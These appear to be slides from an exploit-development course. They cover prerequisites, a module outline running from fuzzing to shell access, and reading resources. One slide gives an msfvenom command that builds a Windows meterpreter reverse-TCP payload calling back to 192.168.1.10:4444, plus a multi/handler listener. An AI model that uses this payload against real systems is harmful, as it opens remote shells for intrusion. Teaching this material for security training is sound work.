Assumptions

- Knowledge of

  - Assembly level language

  - Kali Linux

  - BooFuzz

  - Immunity Debugger

What to do if I need to learn above?

- Check out the resources mentioned at the end of this video

Module Structure

- Introduction

- Fuzzing

- PoC Creation

- Controlling the Execution

- Bad Character Analysis

- Cracking the shell

© ElliteDevs

Second stage payload

- msfvenom –p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 –b '\x00' –f python –v secondStage

- multi/handler to listen to the reverse connection sent by the target machine over port 4444

Learning Resources

- **Kali Linux** – Kali Linux Revealed by Offensive Security (https://www.kali.org/download-kali-linux-revealed-book/)

- **Metasploit** - Metasploit: The Penetration Tester's Guide by David Kennedy, Jim O'Gorman, Devon Kearns, Mati Aharoni

- **Assembly Language** – Assembly Language Step by Step by Jeff Duntemann

- **BooFuzz** - https://boofuzz.readthedocs.io/en/latest/

- **Immunity Debugger** - Immunity Debugger basics (https://sgros-students.blogspot.com/2014/05/immunity-debugger-basics-part-1.html)

- **Exploit Development** – Fuzzy Security (https://www.fuzzysecurity.com/tutorials.html)

Thank you ☺

https://yaksas.in

Yaksas CSC

@yaksas443